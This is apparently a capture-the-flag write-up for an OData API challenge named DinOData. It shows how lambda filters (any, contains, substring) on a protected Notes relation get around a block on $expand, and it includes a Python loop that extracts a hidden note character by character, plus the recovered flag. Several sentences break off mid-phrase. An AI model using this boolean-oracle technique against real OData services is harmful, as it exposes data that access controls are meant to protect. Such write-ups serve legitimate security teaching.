DinOData is an ASP.NET Core OData API. It exposes dinosaurs, scientists, and notes. The important relationship is:
Scientist -> Notes
The
The intended protection also blocks direct expansion:
GET /odata/Scientist?$expand=Notes
This returns an error saying that
OData supports lambda filters such as
For example, this unauthenticated request shows which scientists have notes:
GET /odata/Scientist?$filter=Notes/any()
And this searches inside the note content without returning the note itself:
GET /odata/Scientist?$filter=Notes/any(n: contains(n/Content,'dach2026'))
The response showed that Ellie Sattler, scientist id
So we can extract the flag one character at a time:
GET /odata/Scientist?$filter=Id eq 2 and Notes/any(n: substring(n/Content, 0, 1) eq 'd')
The solver loops over positions and possible characters:
def check_char_at(pos, char):
flt = (
"Id eq 2 and "
f"Notes/any(n: substring(n/Content, {pos}, 1) eq '{char}')"
)
r = requests.get(f"{BASE}/odata/Scientist", params={"$filter": flt})
return bool(r.json().get("value"))
flag = ""
for pos in range(100):
for c in charset:
if check_char_at(pos, c):
flag += c
break
if flag.endswith("}"):
break
Other OData functions like
The extracted flag is:
dach2026{n0_r3st_f0r_th3_m1cr0s0ft_d3v5}